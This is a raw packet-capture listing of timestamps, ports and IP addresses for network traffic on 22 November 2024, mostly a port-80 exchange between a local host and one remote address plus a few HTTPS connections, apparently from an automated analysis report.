Nov 22, 2024 00:11:26.942898989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.942935944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.942960024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.942975998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.943897009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.943949938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.943969965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.943994045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.944962025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.945019960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.945053101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.945106983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.946007967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.946069002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.946127892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.946182013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.947144985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.947179079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.947197914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.947221994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.948213100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.948271990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.948327065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.948379993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.949233055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.949294090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.949342966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.949415922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.950299978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.950360060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.950392008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.950438976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.951386929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.951423883 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.951483965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.951484919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.952626944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.952688932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.987843037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.987901926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.988029957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.988321066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.988359928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.988372087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.988630056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.988650084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.988681078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.988717079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.989613056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.989659071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.989729881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.989773035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.990695000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.990741968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.990818024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.990860939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.991797924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.991846085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.991866112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.991904974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.992866039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.992928982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.992968082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.993010044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.993910074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.993963003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.994035959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.994082928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.994968891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.995021105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.995089054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.995142937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.996016979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.996071100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.996123075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.996171951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.997119904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.997205973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.997210979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.997255087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.998208046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.998276949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.998316050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.998363018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.999237061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.999294996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:26.999324083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:26.999377966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.000498056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.000555038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.000680923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.000761986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.001363039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.001427889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.029336929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.029409885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.029567957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.029865980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.029938936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.029993057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.030060053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.030987978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.031039000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.031075001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.031131029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.032016039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.032067060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.069560051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.069638014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.069648981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.069715977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.070064068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.070110083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.070169926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.070220947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.071151972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.071206093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.071258068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.071307898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.072237015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.072292089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.072319031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.072367907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.073349953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.073404074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.073472977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.073524952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.074361086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.074454069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.074491978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.074537039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.075434923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.075488091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.075552940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.075603962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.076522112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.076572895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.076628923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.076678038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.077600956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.077649117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.077652931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.077687025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.078679085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.078691006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.078761101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.079802990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.079854012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.079869986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.079927921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.080812931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.080866098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.080876112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.080913067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.081904888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.081918955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.081959963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.081974983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.082937002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.082977057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.129587889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.129666090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.129717112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.129762888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.130045891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.130110979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.130150080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.130203009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.131161928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.131177902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.131212950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.131233931 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.132088900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.132138014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.132194996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.132241011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.133100033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.133116007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.133172035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.134008884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.134064913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.134090900 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.134130955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.134988070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.135037899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.135063887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.135101080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.135925055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.135989904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.136035919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.136081934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.136904001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.136965036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.137001038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.137056112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.137903929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.137959003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.138071060 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.138118982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.138900042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.138947010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.138952017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.138989925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.139856100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.139909983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.139947891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.140003920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.140986919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.141002893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.141042948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.141865969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.141891003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.141915083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.141961098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.142765045 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.142819881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.142858028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.142908096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.143768072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.143816948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.143861055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.143903971 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.144720078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.144789934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.144850016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.144895077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.145704985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.145756006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.145836115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.145880938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.146682978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.146734953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.146784067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.146831036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.147711039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.147726059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.147763014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.147779942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.148718119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.148735046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.148768902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.148786068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.149672031 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.149708033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.149723053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.149748087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.150629997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.150687933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.150727987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.150772095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.151602030 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.151657104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.189064980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.189183950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.189233065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.189306974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.189560890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.189615965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.189636946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.189712048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.190505028 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.190567017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.190646887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.190690994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.191509008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.191564083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.191591024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.191633940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.192483902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.192539930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.192599058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.192648888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.193501949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.193561077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.193604946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.193651915 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.194492102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.194509029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.194577932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.195549011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.195585012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.195712090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.196434021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.196504116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.196600914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.196650982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.197388887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.197448015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.197503090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.197551966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.198379993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.198441029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.198539972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.198587894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.198700905 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.198730946 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.198802948 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.198834896 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.198887110 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.199240923 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.199254990 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.199276924 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.199363947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.199412107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.199429035 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.199429989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.199459076 CET	443	49709	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.199500084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.199522972 CET	49709	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.200330019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.200371027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.200392008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.200423956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.201278925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.201329947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.202580929 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.202615976 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.202718019 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.202881098 CET	49715	443	192.168.2.5	13.107.246.63
Nov 22, 2024 00:11:27.202899933 CET	443	49715	13.107.246.63	192.168.2.5
Nov 22, 2024 00:11:27.230571032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.230597973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.230767965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.231101990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.231158972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.231247902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.231304884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.232059956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.232110977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.232145071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.232218981 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.232975006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.233023882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.270672083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.270737886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.270864010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.270930052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.271208048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 00:11:27.271326065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 00:11:27.271374941 CET	80	49704	185.215.113.206	192.168.2.5
